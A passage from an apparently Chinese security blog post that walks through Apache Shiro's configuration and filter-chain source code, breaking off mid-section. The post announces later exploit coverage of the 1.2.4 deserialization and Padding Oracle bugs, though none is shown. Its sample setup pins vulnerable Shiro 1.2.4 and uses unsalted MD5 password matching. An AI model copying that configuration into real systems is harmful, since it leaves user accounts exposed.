Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC

0x00 前言

Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the smallest mobile applications to the largest web and enterprise applications.

Apache Shiro是一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。通过Shiro易于理解的API,您可以快速、轻松地保护任何应用程序——从最小的移动应用程序到最大的web和企业应用程序。

Apache Shiro框架功能主要由以下几个部分组成:

  • Authentication:身份认证-登录
  • Authorization:授权-权限验证
  • Session Manager:会话管理
  • Cryptography:加密
  • Web Support:Web 支持
  • Caching:缓存
  • Concurrency:多线程
  • Testing:测试模块
  • Run As:允许一个用户假装为另一个用户
  • Remember Me:记住我-Session过期后再次登录无需再次登录

一个包含如此多功能模块的框架,我一向认为其必然存在着我们发现和未发现的安全漏洞,而事实也是如此,早在Shiro 1.2.4版本前,就被暴露了Cryptography模块因为默认AES加密key导致Remember Me模块的反序列化漏洞,在其被修复(每次启动都生成一个新的AES加密key)的几年后,依然是这个地方,出现了令我万万没想到的Padding Oracle漏洞,我一直以为这样的漏洞也就CTF会出现,这个洞也警醒了我,CTF每一个知识点,在真实漏洞挖掘中,都非常重要。

而本篇文章,我将会用我一贯的源码浅析方式,对Apache Shiro的核心部分代码进行讲解,并且最后会以1.2.4版本的远古洞的触发原理,对源码进行深入的讲解,接着引出最新的Padding Oracle CBC Attack,从而让我们在看完这篇文章后,能熟悉的写出Shiro exploit,并对Shiro框架的主要原理聊熟于胸,还有最重要的一点是,现在网络上很多讲解漏洞的文章,都是简单的讲解漏洞,对这些框架的使用方法以及使用场景等都缺乏描述,对新手极度不友好,

0x01 Shiro源码浅析

在进行源码浅析之前,我们先了解一下Shiro如何在一个SpringMVC项目中简单的使用。

1. Shiro简单使用

我曾经在做Java开发的时候,我有幸为几个系统加入过Shiro框架,也对其功能不足处进行了一些简单的定制修改。

曾经有个系统后台由于不满足等保要求,需要对其后台的登录验证进行重构,在其重构的过程中,我发现该后台只有单个硬编码的用户账号,而该账号被业务方大量的运营和开发人员使用,对于后台任何的配置和功能都能进行修改,这是一个极大的安全隐患,因此,我考虑在重构的后台系统中,加入了Shiro,为后台系统加入若干的特性,使其更加的安全坚固:

  1. 多用户支持
  2. 用户数据存库
  3. 权限精细化-粒度到页面按钮
  4. 用户禁用
  5. 等等…

多用户支持用户数据存库:原系统仅有单个硬编码账号,源码泄露将会导致账号密码泄露。而运营也是一个很大的不稳定因素,如果某个运营对一些关键配置进行了修改,将会威胁到系统的稳定运行。

权限精细化-粒度到页面按钮:前面也说了运营用户的潜在不稳定因素,所以加入了权限精细到页面按钮的的权限管理,可以控制每个运营人员具备的权限功能,对于一些涉及到系统安全的功能,我们就能更好的控制。

用户禁用:在后台系统中,我们会对每个账号的操作进行操作日志的持久化,如果我们发现某个账号进行了大量的敏感操作,存在安全风险,我们可以通过用户禁用功能对其账号进行快速的禁用。

以上就是我对Shiro使用的一些简单总结,除此以外,还有很多,比如我曾经在某个古老的项目中使用Shiro后,没办法通过注解方式对接口方法进行权限的控制,最后得益于Shiro优秀的设计,通过一些比较特殊的方法达到方法级的权限控制等。

在简述了我对Shiro的一些使用后,我们接下来就讲讲Shiro,如何去配置使用。

1.1 依赖(pom.xml)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache-core</artifactId>
<version>2.4.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
1.2 web配置(web.xml)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!-- spring 配置-->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml,classpath:spring-shiro.xml</param-value>
</context-param>


<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-servlet.xml,classpath:spring-shiro.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- shiro的filter-->
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
1.3 shiro配置(spring-shiro.xml)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<!-- 开启shiro注解-->
<bean class="org.springframework.aop.framework.autoproxy.DefaultAdvisorAutoProxyCreator" depends-on="lifecycleBeanPostProcessor">
<property name="proxyTargetClass" value="true" />
</bean>

<bean class="org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor">
<property name="securityManager" ref="securityManager"/>
</bean>

<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<property name="maxUploadSize" value="#{10*1024*1024}"/>
<property name="maxInMemorySize" value="4096"/>
</bean>


<!-- 对应于web.xml中配置的那个shiroFilter -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<!-- Shiro的核心安全接口,这个属性是必须的 -->
<property name="securityManager" ref="securityManager"/>
<!-- 要求登录时的链接(登录页面地址),非必须的属性,默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
<property name="loginUrl" value="/jsp/login.jsp"/>
<!-- 登录成功后要跳转的连接(本例中此属性用不到,因为登录成功后的处理逻辑在LoginController里硬编码) -->
<!-- <property name="successUrl" value="/" ></property> -->
<!-- 用户访问未对其授权的资源时,所显示的连接 -->
<property name="unauthorizedUrl" value="/html/error.html"/>

<property name="filterChainDefinitions">
<value>
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
<!--/dologin=ssl-->
</value>
</property>
</bean>
<bean id="lifecycleBeanPostProcessor" class="org.apache.shiro.spring.LifecycleBeanPostProcessor"></bean>
<!-- 数据库保存的密码是使用MD5算法加密的,所以这里需要配置一个密码匹配对象 -->
<bean id="credentialsMatcher" class="org.apache.shiro.authc.credential.Md5CredentialsMatcher"></bean>
<!-- 缓存管理 -->
<bean id="shiroCacheManager" class="org.apache.shiro.cache.MemoryConstrainedCacheManager"></bean>

<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 -->
<bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
<property name="credentialsMatcher" ref="credentialsMatcher"></property>
<property name="permissionsLookupEnabled" value="true"></property>
<property name="dataSource" ref="dataSource"></property>
<property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
<property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
<property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
</bean>
<!-- Shiro安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="jdbcRealm"></property>
<property name="cacheManager" ref="shiroCacheManager"></property>
</bean>
</beans>
1.4 登录和注销接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
@Controller
@SessionAttributes("user")
public class LoginAndLogoutController {
@Autowired
private LoginAndLogoutService loginAndLogoutService;
@RequestMapping(value = "/dologin",method = RequestMethod.POST)
public String doLogin(User user, ModelMap model){
System.out.println("用户"+user.getLoginName()+"正在登录........!");
return loginAndLogoutService.doLogin(user,model);
}
@RequestMapping(value = "/dologout",method = RequestMethod.GET)
public String doLogout(User user,ModelMap model){
System.out.println("用户"+user.getLoginName()+"正在注销........!");
return loginAndLogoutService.doLogout(model);
}
}

@Service
public class LoginAndLogoutService {
@Autowired
private ApplicationContext applicationContext;
public String doLogin(User user, ModelMap model){
UsernamePasswordToken token = new UsernamePasswordToken(user.getLoginName(),user.getPasswd());
token.setRememberMe(true);
Subject subject = SecurityUtils.getSubject();
String msg;
try {
subject.login(token);
if (subject.isAuthenticated()) {
System.out.println("登录成功!");
UserDao userDao = (UserDao) applicationContext.getBean("userDao");
List<User> users = userDao.getUserByLoginName(user);
model.put("user", users.get(0));
if (subject.hasRole("admin")) {
return "redirect:/html/admin/center.html";
} else {
return "redirect:/html/user/center.html";
}
}
}catch (IncorrectCredentialsException e) {
msg = "登录密码错误. Password for account " + token.getPrincipal() + " was incorrect.";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (ExcessiveAttemptsException e) {
msg = "登录失败次数过多";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (LockedAccountException e) {
msg = "帐号已被锁定. The account for username " + token.getPrincipal() + " was locked.";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (DisabledAccountException e) {
msg = "帐号已被禁用. The account for username " + token.getPrincipal() + " was disabled.";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (ExpiredCredentialsException e) {
msg = "帐号已过期. the account for username " + token.getPrincipal() + " was expired.";
model.addAttribute("message", msg);
}catch (UnknownAccountException e) {
msg = "帐号不存在. There is no user with username of " + token.getPrincipal();
model.addAttribute("message", msg);
System.out.println(msg);
} catch (UnauthorizedException e) {
msg = "您没有得到相应的授权!" + e.getMessage();
model.addAttribute("message", msg);
System.out.println(msg);
}
System.out.println("登录失败!");
return "/jsp/login.jsp";
}
public String doLogout(ModelMap model){
Subject subject = SecurityUtils.getSubject();
subject.logout();
model.remove("user");
return "/jsp/login.jsp";
}
}

以上便是SpringMVC web中Shiro简单使用的依赖、配置、接口等,通过其,我们就能畅快的使用shiro的各种特性和功能了。

2. 源码运行原理

回顾上面的Shiro的web配置,我们可以发现其中有一个filter的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

从明面上我们只要写过Spring项目都不会陌生,filter注册了一个过滤器,而filter-mapping是对其filter访问过滤url的一个匹配配置,也就是说,上面的filter-mapping配置,规定了shiroFilter这个过滤器,将会过滤任何一个请求到该项目的http请求。

不过,这里还有一个重点,就是DelegatingFilterProxy这个利用了门面模式设计的一个class,它是一个filter的代理类,通过这个类可以代理一个spring容器管理的filter的生命周期,也就是说,可以在Spring容器中创建一个filter bean,然后注入一系列依赖,这个bean可以用代理的方式配置到web.xml中使用。

我们再看会前面的spring-shiro.xml文件,其中,我们配置了这样的一个bean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!-- 对应于web.xml中配置的那个shiroFilter -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<!-- Shiro的核心安全接口,这个属性是必须的 -->
<property name="securityManager" ref="securityManager"/>
<!-- 要求登录时的链接(登录页面地址),非必须的属性,默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
<property name="loginUrl" value="/jsp/login.jsp"/>
<!-- 登录成功后要跳转的连接(本例中此属性用不到,因为登录成功后的处理逻辑在LoginController里硬编码) -->
<!-- <property name="successUrl" value="/" ></property> -->
<!-- 用户访问未对其授权的资源时,所显示的连接 -->
<property name="unauthorizedUrl" value="/html/error.html"/>

<property name="filterChainDefinitions">
<value>
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
<!--/dologin=ssl-->
</value>
</property>
</bean>

可以看到,它的bean id和我们在web.xml配置的filter名称是一样的,也就是说,这个filter是它的代理门面类,在访问该web项目时的任何一个请求,都将被shiroFilter这个bean进行过滤。

那么,接下来我们打开org.apache.shiro.spring.web.ShiroFilterFactoryBean这个bean,因为他是一个FactoryBean,因此,在该类的bean真正被使用的时候,会调用其getObject()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* Lazily creates and returns a {@link AbstractShiroFilter} concrete instance via the
* {@link #createInstance} method.
*
* @return the application's Shiro Filter instance used to filter incoming web requests.
* @throws Exception if there is a problem creating the {@code Filter} instance.
*/
public Object getObject() throws Exception {
if (instance == null) {
instance = createInstance();
}
return instance;
}

看方法注释可以清楚的看到,这是一个懒加载的bean,当使用到它时,才会调用其getObject()方法,然后再该方法中,我们可以看到,通过createInstance()创建一个真正的实例作为该bean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected AbstractShiroFilter createInstance() throws Exception {

log.debug("Creating Shiro Filter instance.");

SecurityManager securityManager = getSecurityManager();
if (securityManager == null) {
String msg = "SecurityManager property must be set.";
throw new BeanInitializationException(msg);
}

if (!(securityManager instanceof WebSecurityManager)) {
String msg = "The security manager does not implement the WebSecurityManager interface.";
throw new BeanInitializationException(msg);
}

FilterChainManager manager = createFilterChainManager();

//Expose the constructed FilterChainManager by first wrapping it in a
// FilterChainResolver implementation. The AbstractShiroFilter implementations
// do not know about FilterChainManagers - only resolvers:
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setFilterChainManager(manager);

//Now create a concrete ShiroFilter instance and apply the acquired SecurityManager and built
//FilterChainResolver. It doesn't matter that the instance is an anonymous inner class
//here - we're just using it because it is a concrete AbstractShiroFilter instance that accepts
//injection of the SecurityManager and FilterChainResolver:
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}

回顾一开始我们在bean配置文件对ShiroFilterFactoryBean配置,SecurityManager我们配置的是org.apache.shiro.web.mgt.DefaultWebSecurityManager,一个默认的web安全管理器,这个web安全管理器配置了一个realm,该realm我们可以使用shiro包内置的jdbc快捷使用的org.apache.shiro.realm.jdbc.JdbcRealm,也可以我们自定义去实现登录验证和授权相关方法的realm,总的来说,通过web安全管理器,我们可以配置相关的登录验证和授权配置,这也是使用shiro中非常关键的一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 -->
<bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
<property name="credentialsMatcher" ref="credentialsMatcher"></property>
<property name="permissionsLookupEnabled" value="true"></property>
<property name="dataSource" ref="dataSource"></property>
<property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
<property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
<property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
</bean>
<!-- Shiro安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="jdbcRealm"></property>
<property name="cacheManager" ref="shiroCacheManager"></property>
</bean>

如果我们想要使用简洁预置的JdbcRealm,我们只要创建三个表(用户、角色、权限),并把相应的sql查询语句设置好,就能快速的使用Shiro的Jdbc持久化用户、角色、权限数据。

在createInstance()方法的一开始,就会对我们设置的web安全管理器进行校验,只有满足情况下,shiro的功能才能继续并正确使用。

接着,调用其createFilterChainManager()方法,创建一个过滤器链的管理器,它也是shiro中非常核心的部分,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,然后把它添加到我们要创建的过滤器链的管理器(FilterChainManager),在访问到符合规则配置的path时,就会到达我们添加的图形、短信验证码校验filter中。当然,除了图形、短信验证等逻辑外,我们一般给一些页面、接口,设置成游客可访问,或者登陆状态可访问,亦或者使用rememberMe功能(在用户Session过期后,可以通过Cookie的RememberMe进行重新免登陆认证)等等。

创建好FilterChainManager后,就会把它设置到一个新建的PathMatchingFilterChainResolver中,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求。

最后创建一个内部的静态类SpringShiroFilter返回,作为该工厂bean实际创建的bean对象。

我们进一步跟进createFilterChainManager()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected FilterChainManager createFilterChainManager() {

DefaultFilterChainManager manager = new DefaultFilterChainManager();
Map<String, Filter> defaultFilters = manager.getFilters();
//apply global settings if necessary:
for (Filter filter : defaultFilters.values()) {
applyGlobalPropertiesIfNecessary(filter);
}

//Apply the acquired and/or configured filters:
Map<String, Filter> filters = getFilters();
if (!CollectionUtils.isEmpty(filters)) {
for (Map.Entry<String, Filter> entry : filters.entrySet()) {
String name = entry.getKey();
Filter filter = entry.getValue();
applyGlobalPropertiesIfNecessary(filter);
if (filter instanceof Nameable) {
((Nameable) filter).setName(name);
}
//'init' argument is false, since Spring-configured filters should be initialized
//in Spring (i.e. 'init-method=blah') or implement InitializingBean:
manager.addFilter(name, filter, false);
}
}

//build up the chains:
Map<String, String> chains = getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
for (Map.Entry<String, String> entry : chains.entrySet()) {
String url = entry.getKey();
String chainDefinition = entry.getValue();
manager.createChain(url, chainDefinition);
}
}

return manager;
}

可以看到在创建FilterChainManager的地方,可以分为三个创建步骤

  1. 默认创建的,对其自带的Filter进行全局配置的设置
1
2
3
4
5
6
DefaultFilterChainManager manager = new DefaultFilterChainManager();
Map<String, Filter> defaultFilters = manager.getFilters();
//apply global settings if necessary:
for (Filter filter : defaultFilters.values()) {
applyGlobalPropertiesIfNecessary(filter);
}
1
2
3
4
5
private void applyGlobalPropertiesIfNecessary(Filter filter) {
applyLoginUrlIfNecessary(filter);
applySuccessUrlIfNecessary(filter);
applyUnauthorizedUrlIfNecessary(filter);
}

那默认自带的filter究竟有哪些呢?跟进DefaultFilterChainManager一探究竟

1
2
3
4
5
public DefaultFilterChainManager() {
this.filters = new LinkedHashMap<String, Filter>();
this.filterChains = new LinkedHashMap<String, NamedFilterList>();
addDefaultFilters(false);
}
1
2
3
4
5
protected void addDefaultFilters(boolean init) {
for (DefaultFilter defaultFilter : DefaultFilter.values()) {
addFilter(defaultFilter.name(), defaultFilter.newInstance(), init, false);
}
}

可以看见,其构造方法调用了addDefaultFilters方法,把DefaultFilter枚举类进行了遍历,然后添加到filter集合中

查看该枚举类,可以发现一共有11个预置的filter:

1
2
3
4
5
6
7
8
9
10
11
anon(AnonymousFilter.class),
authc(FormAuthenticationFilter.class),
authcBasic(BasicHttpAuthenticationFilter.class),
logout(LogoutFilter.class),
noSessionCreation(NoSessionCreationFilter.class),
perms(PermissionsAuthorizationFilter.class),
port(PortFilter.class),
rest(HttpMethodPermissionFilter.class),
roles(RolesAuthorizationFilter.class),
ssl(SslFilter.class),
user(UserFilter.class);

而其中,我们最常使用的大概是:

1
2
3
4
5
6
1. anon:无需登录认证即可访问
2. authc:需要登录认证才可访问
3. logout:注销filter
4. perms:具有特点权限授权才可访问
5. roles:某个角色才可访问
6. user:使用RememberMe

以上这些便是第一步所做的一切。

  1. 对我们要添加或者修改的filter进行遍历配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Map<String, Filter> filters = getFilters();
if (!CollectionUtils.isEmpty(filters)) {
for (Map.Entry<String, Filter> entry : filters.entrySet()) {
String name = entry.getKey();
Filter filter = entry.getValue();
applyGlobalPropertiesIfNecessary(filter);
if (filter instanceof Nameable) {
((Nameable) filter).setName(name);
}
//'init' argument is false, since Spring-configured filters should be initialized
//in Spring (i.e. 'init-method=blah') or implement InitializingBean:
manager.addFilter(name, filter, false);
}
}

不像前面默认预置的filter,从枚举类遍历获取,我们添加或修改的filter,都是首先设置到ShiroFilterFactoryBean中的,所以会从其中读取所以我们需要添加、修改的filter出来,然后进行全局的配置设置

在这一处,我们添加或修改的filter,其实就如我们前面所讲的,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,这里面的filter就是这一步中遍历的filter了。

  1. 创建过滤器链(filter chains)
1
2
3
4
5
6
7
8
Map<String, String> chains = getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
for (Map.Entry<String, String> entry : chains.entrySet()) {
String url = entry.getKey();
String chainDefinition = entry.getValue();
manager.createChain(url, chainDefinition);
}
}

可以看到,getFilterChainDefinitionMap()方法读取的集合,其实回顾到我们前面所描述的配置spring-shiro.xml中,可以看到,我们其实做了这样的一个配置

1
2
3
4
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]

在第一步,就讲述了默认内置的filter具有哪些,以及一些常用的filter

可以看到,上面的四个FilterChainDefinition,都使用了最常用的filter

  • /html/admin/**:该路径的请求,需要当前用户在登录认证后的状态,以及用户为admin角色时才可访问
  • /html/user/**:该路径的请求,在用户曾经登录认证时,勾选了RememberMe,在后续登录状态,也即Session过期后,可以通过Cookie中的RememberMe进行免登录认证
  • /jsp/admin/**:与上述/html/admin/一致
  • /jsp/user/**:与上述/html/user/一致

也就是说,过滤器链的创建,跟这个FilterChainDefinition紧密关联,对于每一个path的配置,都会创建一个相应的过滤器链

看到这里,应该还会有人问,什么是过滤器链?

在shiro中,过滤器链就是我们前面两个步骤中的过滤器组成的一条链,当一个符合路径规则的请求进来后,都需要通过其执行一系列的过滤。

回到createInstance()方法,我们继续跟到下一个,也就是我们之前所说的PathMatchingFilterChainResolver的创建,前面也讲过了,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求,也就是说,我们前面根据配置创建的过滤器链,需要通过这个resolver,才能知道某个请求执行哪一个过滤器链,为了一究其匹配原理,我们跟进PathMatchingFilterChainResolver

审阅代码,可以看到一个关键的方法-getChain()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
}

String requestURI = getPathWithinApplication(request);

//the 'chain names' in this implementation are actually path patterns defined by the user. We just use them
//as the chain name for the FilterChainManager's requirements
for (String pathPattern : filterChainManager.getChainNames()) {

// If the path does match, then pass on to the subclass implementation for specific checks:
if (pathMatches(pathPattern, requestURI)) {
if (log.isTraceEnabled()) {
log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + requestURI + "]. " +
"Utilizing corresponding filter chain...");
}
return filterChainManager.proxy(originalChain, pathPattern);
}
}

return null;
}

这个方法主要做了三件事情:

  1. 获取并检查FilterChainManager
  2. 获取当前请求的URL
  3. 遍历过滤器链filter chains,匹配当前请求URL相应的filter chain去执行

而上面第三件事情,就是PathMatchingFilterChainResolver的核心,它通过遍历我们前面创建的所有filter chains,回顾前面我们对FilterChainDefinition的配置,它的URL都是一个正则的匹配字符串,也就是说,通过它去正则匹配当前请求的URL,只要能匹配上的第一个filter chain,就是所要执行的过滤器链。

在PathMatchingFilterChainResolver创建成功后,最后会把我们所创建的SecurityManager和PathMatchingFilterChainResolver,参与到SpringShiroFilter的实例化中来,并作为真正的ShiroFilterFactoryBean返回。

SpringShiroFilter是ShiroFilterFactoryBean的一个静态内部类,它通过继承AbstractShiroFilter来实现shiro的核心功能(过滤请求)

1
2
3
private static final class SpringShiroFilter extends AbstractShiroFilter {
//...
}

先上跟进AbstractShiroFilter以及其父类OncePerRequestFilter,并继续向上跟进源码,我们可以发现,最早它们都实现了javax.servlet.Filter,所以表明它们就是一个不折不扣的过滤器,查看OncePerRequestFilter的源码也能发现其对doFilter()方法的实现,看到这里,大家也会很清晰了,这个filter在请求进来的时候,通过过滤器肯定是会执行到这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws ServletException, IOException {
String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName();
if ( request.getAttribute(alreadyFilteredAttributeName) != null ) {
log.trace("Filter '{}' already executed. Proceeding without invoking this filter.", getName());
filterChain.doFilter(request, response);
} else //noinspection deprecation
if (/* added in 1.2: */ !isEnabled(request, response) ||
/* retain backwards compatibility: */ shouldNotFilter(request) ) {
log.debug("Filter '{}' is not enabled for the current request. Proceeding without invoking this filter.",
getName());
filterChain.doFilter(request, response);
} else {
// Do invoke this filter...
log.trace("Filter '{}' not yet executed. Executing now.", getName());
request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE);

try {
doFilterInternal(request, response, filterChain);
} finally {
// Once the request has finished, we're done and we don't
// need to mark as 'already filtered' any more.
request.removeAttribute(alreadyFilteredAttributeName);
}
}
}

在正常使用情况下,基本都是执行到doFilterInternal()方法,在跟进它的源码可以发现,它是一个抽象方法,因为OncePerRequestFilter是一个抽象类

1
2
protected abstract void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain)
throws ServletException, IOException;

既然这是个抽象类,那么大概这个方法的实现是在其子类里了,果不其然,在其子类AbstractShiroFilter中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
throws ServletException, IOException {

Throwable t = null;

try {
final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
final ServletResponse response = prepareServletResponse(request, servletResponse, chain);

final Subject subject = createSubject(request, response);

//noinspection unchecked
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
} catch (ExecutionException ex) {
t = ex.getCause();
} catch (Throwable throwable) {
t = throwable;
}

if (t != null) {
if (t instanceof ServletException) {
throw (ServletException) t;
}
if (t instanceof IOException) {
throw (IOException) t;
}
//otherwise it's not one of the two exceptions expected by the filter method signature - wrap it in one:
String msg = "Filtered request failed.";
throw new ServletException(msg, t);
}
}

这个方法,我总结一下,主要做了两件总要的事情:

  1. 创建Subject
  2. 执行filter chains

那么我们一一跟进去,看看它们到底是如何工作的。

跟进createSubject()方法

1
2
3
protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
}

它通过了WebSubject的Builder,使用了创建者模式去创建这一个Subject的实现WebSubject

继续跟进buildWebSubject()方法

1
2
3
4
5
6
7
8
9
10
public WebSubject buildWebSubject() {
Subject subject = super.buildSubject();
if (!(subject instanceof WebSubject)) {
String msg = "Subject implementation returned from the SecurityManager was not a " +
WebSubject.class.getName() + " implementation. Please ensure a Web-enabled SecurityManager " +
"has been configured and made available to this builder.";
throw new IllegalStateException(msg);
}
return (WebSubject) subject;
}

Subject->buildSubject

1
2
3
public Subject buildSubject() {
return this.securityManager.createSubject(this.subjectContext);
}

最终可以发现,是通过我们配置的web安全管理器(WebSecurityManager)来创建Subject的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Subject createSubject(SubjectContext subjectContext) {
//create a copy so we don't modify the argument's backing map:
SubjectContext context = copy(subjectContext);

//ensure that the context has a SecurityManager instance, and if not, add one:
context = ensureSecurityManager(context);

//Resolve an associated Session (usually based on a referenced session ID), and place it in the context before
//sending to the SubjectFactory. The SubjectFactory should not need to know how to acquire sessions as the
//process is often environment specific - better to shield the SF from these details:
context = resolveSession(context);

//Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
//if possible before handing off to the SubjectFactory:
context = resolvePrincipals(context);

Subject subject = doCreateSubject(context);

//save this subject for future reference if necessary:
//(this is needed here in case rememberMe principals were resolved and they need to be stored in the
//session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation).
//Added in 1.2:
save(subject);

return subject;
}
  • SubjectContext context = copy(subjectContext);

对SubjectContext的一个简单复制,因为每次请求都应有它自己的一个上下文,不应该混合,所以每次请求,都会通过它去复制一个SubjectContext用于本次请求

  • context = ensureSecurityManager(context);

把安全管理器设置到SubjectContext中

  • context = resolveSession(context);

